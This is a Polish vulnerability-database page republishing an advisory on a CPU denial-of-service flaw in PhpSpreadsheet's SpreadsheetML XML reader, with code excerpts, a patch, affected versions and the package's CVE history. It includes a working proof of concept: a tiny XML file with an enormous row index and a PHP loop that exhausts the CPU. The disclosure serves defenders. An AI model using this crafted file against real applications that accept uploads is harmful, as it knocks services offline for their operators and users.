Wysoka

PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader

  • Ujawniono: 29.04.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

The SpreadsheetML XML reader (Reader\Xml) does not validate the ss:Index row attribute against the maximum allowed row count (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a SpreadsheetML XML file with ss:Index="999999999" on a <Row> element, which inflates the internal cachedHighestRow to ~1 billion. Any subsequent call to getRowIterator() without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.

Details

In src/PhpSpreadsheet/Reader/Xml.php, the loadSpreadsheetFromFile method processes <Row> elements:

php
// Xml.php:397-402
if (isset($row_ss['Index'])) {
    $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW
}
if (isset($row_ss['Hidden'])) {
    $rowVisible = ((string) $row_ss['Hidden']) !== '1';
    $spreadsheet->getActiveSheet()->getRowDimension($rowID)->setVisible($rowVisible);
}

The $rowID value read from ss:Index is cast to int with no upper bound check. It is then passed to getRowDimension():

php
// Worksheet.php:1342-1351
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

This inflates cachedHighestRow to the attacker-controlled value. Additionally, at line 412, $cellRange = $columnID . $rowID is constructed and passed to getCell(), which calls createNewCell() (Worksheet.php:1294) and also sets cachedHighestRow.

The RowIterator constructor uses getHighestRow() as its default end row:

php
// RowIterator.php:84-88
public function resetEnd(?int $endRow = null): static
{
    $this->endRow = $endRow ?: $this->subject->getHighestRow();
    return $this;
}

With cachedHighestRow at ~1 billion, iterating over rows causes CPU exhaustion. The DefaultReadFilter provides no protection — it returns true for all cells.

Even without the Hidden attribute, any cell data within the row still uses the inflated $rowID at line 412, so the ss:Hidden attribute is not required to trigger the vulnerability.

PoC

  1. Create poc.xml:
xml
<?xml version="1.0"?>
<?mso-application progid="Excel.Sheet"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
 <Worksheet ss:Name="Sheet1">
  <Table>
   <Row ss:Index="999999999" ss:Hidden="1"/>
   <Row><Cell><Data ss:Type="String">test</Data></Cell></Row>
  </Table>
 </Worksheet>
</Workbook>
  1. Load and iterate:
php
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xml');
$spreadsheet = $reader->load('poc.xml');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Outputs: Highest row: 1000000000

// This loop will attempt ~1 billion iterations → CPU exhaustion
foreach ($sheet->getRowIterator() as $row) {
    // Never completes
}

Impact

Any PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:

  • Exhausting server CPU with a single small XML file (~300 bytes)
  • Blocking the PHP worker process, potentially affecting all concurrent users
  • Triggering PHP max_execution_time limits that still consume resources before killing the process

The attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.

Recommended Fix

Add MAX_ROW validation after reading the ss:Index attribute in src/PhpSpreadsheet/Reader/Xml.php:

php
// After line 398:
if (isset($row_ss['Index'])) {
    $rowID = (int) $row_ss['Index'];
    if ($rowID > AddressRange::MAX_ROW) {
        $rowID = AddressRange::MAX_ROW;
    }
}

Add the necessary import at the top of the file:

php
use PhpOffice\PhpSpreadsheet\Cell\AddressRange;

The same validation should also be applied to the ss:Index attribute on <Cell> elements (line 409) for the column dimension.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka Composer phpoffice/phpspreadsheet >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4

Odnośniki

Ocena CVSS 7.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE)
CWE-400, CWE-770
Platforma
Composer
Paczka
phpoffice/phpspreadsheet
Ujawniono
29.04.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-84wq-86v6-x5j6 - CC BY 4.0

Historia podatności: phpoffice/phpspreadsheet

Wszystkie opisane podatności tej paczki (Paczka Composer), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (31) w archiwum
Wszystkich wpisów
31
Pierwsza → ostatnia
11.2019 07.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 2
  • Wysoka 17
  • Średnia 12

Ujawnienia w latach

  1. 2019: 2
  2. 2020: 0
  3. 2021: 1
  4. 2022: 0
  5. 2023: 0
  6. 2024: 9
  7. 2025: 10
  8. 2026: 9
Istotność:
  1. Wysoka · 7.5 CVE-2026-59933 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  2. Wysoka · 7.5 CVE-2026-59932 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  3. Wysoka · 7.7 CVE-2026-59931 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  4. Krytyczna CVE-2026-45034 < 1.30.5 1.30.5
  5. Wysoka · 7.5 CVE-2026-40902 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  6. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader ten wpis
    Wysoka · 7.5 CVE-2026-40863 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  7. Krytyczna CVE-2026-34084 >= 4.0.0, < 5.6.0, >= 3.3.0, < 3.10.4, >= 2.2.0, < 2.4.4, >= 2.0.0, < 2.1.15, < 1.30.3 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3
  8. Wysoka CVE-2025-54370 < 1.30.0, >= 2.0.0, < 2.1.12, >= 2.2.0, < 2.4.0, >= 3.0.0, < 3.10.0, >= 4.0.0, < 5.0.0 1.30.0, 2.1.12, 2.4.0, 3.10.0, 5.0.0
  9. Wysoka · 7.1 CVE-2024-56409 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  10. Wysoka · 7.1 CVE-2024-56366 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  11. Wysoka · 7.1 CVE-2024-56365 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  12. Wysoka · 7.1 CVE-2024-56408 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  13. Wysoka · 7.5 CVE-2024-48917 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  14. Wysoka · 7.5 CVE-2024-47873 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  15. Wysoka · 7.7 CVE-2024-45290 >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 2.3.0, 1.29.2, 2.1.1
  16. Wysoka · 7.5 CVE-2024-45293 >= 2.2.0, < 2.3.0, < 1.29.1, >= 2.0.0, < 2.1.1 2.3.0, 1.29.1, 2.1.1
  17. Wysoka · 8.8 CVE-2024-45048 < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 1.29.1, 2.2.1, 2.1.1
  18. Wysoka · 8.8 CVE-2018-19277 < 1.5.1 1.5.1

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.